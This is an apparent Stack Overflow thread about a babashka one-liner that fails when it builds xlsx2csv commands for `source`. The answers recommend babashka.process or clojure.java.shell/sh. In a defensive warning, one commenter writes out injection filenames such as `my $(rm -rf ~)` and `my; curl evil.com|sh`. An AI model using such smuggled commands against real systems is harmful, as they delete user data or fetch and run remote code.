babashka: no such file or directory

Question

I want to execute:

xlsx2csv ./mytest

And this works when i type and execute it, but when i use babashka it does not work:

source <(ls my* | bb -i '(map #(str "xlsx2csv " %) *input*)')
/proc/self/fd/11:1: no such file or directory: xlsx2csv mytest

What am i doing wrong here?

What the heck is `load source `? I'm aware of `source `, but I've never seen the `load` prefix. Whatever input format it wants, you're not giving it; but I can't really say what to fix on the Clojure side because the desired input is a mystery. babashka is successfully outputting strings like `xlsx2csv mytest`, which it sounds like is what you meant but isn't what `load source` wants. — amalloy, Jun 17 '22 at 17:56
`<(...)` is bash-only syntax; it is not supported by `sh`, and it's very unsurprising for any kind of translation layer to skip such obscure, non-POSIX-y features. Even bash itself had bugs combining `source` and process substitution for a long while. — Charles Duffy, Jun 17 '22 at 18:37
I'd try `eval "$(...)"` instead of `source <(...)` as a less-obscure form — Charles Duffy, Jun 17 '22 at 18:41
Mind, piping from `ls` is itself a code smell. See [ParsingLs](https://mywiki.wooledge.org/ParsingLs) -- `ls` output is formatted for human readers, not programmatic consumers. — Charles Duffy, Jun 17 '22 at 18:41
Mind, using `eval` or `source` to execute generated code is an even _worse_ smell, one that implies likely security bugs. — Charles Duffy, Jun 17 '22 at 18:42
(the non-smelly way to list files in a way meant for unambiguous programmatic consumption is to use `printf '%s\0' my*`, and then parse the resulting NUL-delimited stream; because filenames can contain newline literals, newline-delimited streams aren't a safe way to represent lists of arbitrary files). — Charles Duffy, Jun 17 '22 at 18:45
Anyhow -- you'd do much better to `(require '[clojure.java.shell :refer [sh]])`, and then `(sh "xlsx2csv" %)` in your loop, avoiding code generation. — Charles Duffy, Jun 17 '22 at 18:46
(aside: earlier, I was confusing babashka with a different project, written by pallet's authors, that actually _generated_ shell scripts from Clojure; the rambling about "translation layer[s]" should be ignored). — Charles Duffy, Jun 17 '22 at 18:52

score 4 · Answer 1 · answered Jun 18 '22 at 13:15

I am not really sure, why to use Babashka for one step of the transformation, which basically only prefixes a filename with a command. If your filenames are "sane", this is just prefixing a string which could as well be done with sed or awk. And if they are "tricky" (as already pointed out in the comments), this won't cut it.

So may I suggest to use Babashka instead of a shell for all the work.

(ns script
  (:require [babashka.fs]
            [babashka.process]))

(defn xlsx2csv
  [file-name]
  (->
    (babashka.process/process ["xlsx2csv" file-name] {:out :inherit})
    (babashka.process/check)))

(run!
  xlsx2csv
  (babashka.fs/glob "." "*.xlsx"))

score 0 · Answer 2 · answered Jun 17 '22 at 19:35

0

source =(ls my* | bb -i -o '(map #(str "xlsx2csv " % ) *input*)') >> test.csv

I forgot the -o option.

answered Jun 17 '22 at 19:35

David

2,926
1
27
61

This tells us you're using zsh, not bash; `=(...)` isn't supported in bash at all. – Charles Duffy Jun 17 '22 at 19:38
3

That said, from a security perspective, this is a **really** bad idea. If someone runs `touch 'my $(rm -rf ~)'` in your working directory (uploads a file with the name thus created, etc) and then you run this code, you're going to have an _extremely_ bad day. Same for a file created with `touch 'my; curl evil.com|sh'` or any number of other syntactically valid names. – Charles Duffy Jun 17 '22 at 19:39
2

...if you use the `(sh "xlsx2csv" %)` approach, you avoid those issues. – Charles Duffy Jun 17 '22 at 19:40
why does sh in clojure avoid these issues? @CharlesDuffy – David Jun 17 '22 at 20:31
1

`clojure.java.shell/sh` isn't really invoking a shell. Instead, it's calling `Runtime.exec()` with an explicit argument vector. Because there's no shell, there's nothing to misunderstand a filename containing `$(rm -rf ~)` as if it were code. – Charles Duffy Jun 17 '22 at 22:14
2

To be clear, it's not as if using a shell is intrinsically dangerous. It's telling a shell to parse data as code that's intrinsically dangerous, but that's exactly what `eval` or `source` do. – Charles Duffy Jun 17 '22 at 22:16

babashka: no such file or directory

2 Answers2